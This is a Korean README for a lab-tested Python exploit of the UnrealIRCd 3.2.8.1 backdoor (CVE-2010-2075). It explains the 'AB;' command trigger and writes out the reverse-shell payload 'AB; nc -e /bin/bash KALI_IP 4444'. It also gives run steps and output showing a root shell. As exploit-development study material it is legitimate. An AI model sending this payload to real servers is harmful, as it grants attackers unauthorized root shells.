UnrealIRCd 3.2.8.1 백도어 익스플로잇 — AB를 통한 리버스 셸; 트리거, Metasploit 없이 Python에서 raw 소켓을 사용해 처음부터 작성.
UnrealIRCd는 오픈소스 IRC(Internet Relay Chat) 서버로, 초기 채팅 플랫폼과 유사하게 네트워크를 통해 사용자들이 실시간으로 통신할 수 있게 해주는 프로토콜입니다.
2009~2010년에 걸쳐, 공식 다운로드 미러를 통해 배포된 UnrealIRCd 3.2.8.1이 침해당한 사실이 발견되었습니다. 공격자는 정상 소스 코드를 숨겨진 명령 실행 트리거가 포함된 백도어 버전으로 교체했습니다.
이는 공급망 공격으로, CVE-2011-2523(vsftpd 2.3.4)과 본질적으로 동일합니다. 사용자가 다운로드하기 전에 정상 소프트웨어가 악의적으로 변조된 버전으로 교체된 것입니다.
백도어는 포트 6667로 들어오는 모든 데이터를 감시합니다. 입력이 문자열 AB;로 시작하면, 그 뒤의 모든 내용이 system()에 직접 전달되어 모든 IRC 로직, 인증, 등록 검사를 완전히 우회합니다.
트리거는 IRC 서버가 클라이언트를 등록하기도 전인 연결 초기화 단계에서 발동합니다. NICK도, USER도, 인증도 필요하지 않습니다.
공격 흐름:
Attacker (Kali) Target (Metasploitable2)
1. s1 connects to port 6667
NICK + USER handshake → Server sends full banner
Read banner, check version
Confirm Unreal3.2.8.1
2. Open listener on port 4444
(waiting for incoming shell)
3. s2 connects to port 6667 → AB; nc -e /bin/bash KALI_IP 4444
→ system() executes immediately
→ netcat spawns bash, connects back
4. listener.accept() ← Incoming root shell connection
Interactive root shell
이 익스플로잇은 리버스 셸을 사용합니다. 즉, 공격자가 대상의 포트에 연결하는 것이 아니라 대상이 공격자에게 다시 연결합니다.
| 유형 | 방향 | 사용 사례 |
|---|---|---|
| 바인드 셸 | 공격자 → 대상 | CVE-2011-2523 (vsftpd) |
| 리버스 셸 | 대상 → 공격자 | CVE-2010-2075 (UnrealIRCd) |
리버스 셸은 인바운드 방화벽 규칙을 우회합니다. 대상에서 나가는 아웃바운드 연결은 차단되는 경우가 드물기 때문입니다.
netcat 설치 필요 (Metasploitable2에는 기본 포함)git clone https://github.com/rushikesh-a-bhujbal/CVE-2010-2075.git
cd exploit-dev/CVE-2010-2075
main.py를 편집하여 다음을 설정하세요:
kali_ip = "YOUR_KALI_IP"
target_ip = "TARGET_IP"
실행:
python3 main.py
출력 예시:
[+] Vulnerable version confirmed. Proceeding...
[*] Listening on port 4444...
[+] Shell received from ('192.168.15.132', 58280)
> whoami
root
> uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008
> pwd
/etc/unreal
> exit
| 시나리오 | 동작 |
|---|---|
| 포트 6667 닫힘 | "Port Closed" 출력 후 정상 종료 |
| 버전 불일치 | "Not vulnerable" 출력 후 정상 종료 |
| 대상이 콜백하지 않음 | listener.accept()가 대기 (필요 시 타임아웃 추가) |
| 명령이 출력을 생성하지 않음 | recv()가 조용히 타임아웃되고 프롬프트로 복귀 |
| CVE-2011-2523 (vsftpd) | CVE-2010-2075 (UnrealIRCd) | |
|---|---|---|
| 프로토콜 | FTP (포트 21) | IRC (포트 6667) |
| 트리거 | 사용자 이름에 :) | 모든 입력의 AB; 접두사 |
| 셸 유형 | 바인드 셸 (포트 6200) | 리버스 셸 (공격자 포트) |
| 연결 | 아웃바운드 2개 | 아웃바운드 1개 + 인바운드 1개 |
이 익스플로잇은 오직 교육 목적과 승인된 보안 연구를 위해서만 개발되었습니다.
완전히 격리된 실습 환경의 로컬 Metasploitable2 가상 머신에서만 구축 및 테스트되었습니다.
본인이 소유하지 않았거나 명시적인 서면 테스트 허가를 받지 않은 시스템에 이 코드를 사용하지 마십시오. 무단 사용은 컴퓨터 사기 및 남용법(CFAA) 및 전 세계의 동등한 법률에 따라 불법입니다.
작성자는 이 코드의 오용에 대해 어떠한 책임도 지지 않습니다.
Rushikesh Bhujbal
보안 연구 및 익스플로잇 개발
GitHub